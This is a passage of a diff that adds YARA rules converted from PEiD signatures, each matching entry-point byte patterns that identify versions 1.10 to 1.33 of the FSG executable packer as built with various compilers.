+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00799_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_00800_FSG_v1_10__Eng_____dulek_xt_____MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00801_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic___MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00802_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic_5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00803_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___4_x___LCC_Win32_1_x__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)]"
+        ep_only = "true"
+    strings:
+        $a = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00804_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00805_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00806_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00807_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00808_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00809_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00810_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00811_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00812_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00813_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00814_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00815_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00816_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00817_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00818_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00819_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00820_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00821_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00822_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00823_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00824_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00825_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00826_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00827_FSG_v1_1_
+{
+    meta:
+        description = "[FSG v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00828_FSG_v1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00829_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00830_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00831_FSG_v1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00832_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00833_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00834_FSG_v1_2_
+{
+    meta:
+        description = "[FSG v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00835_FSG_v1_30__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.30 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00836_FSG_v1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.31 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00837_FSG_v1_31_
+{
+    meta:
+        description = "[FSG v1.31]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00838_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+    condition:
+        $a at pe.entry_point
+}
+
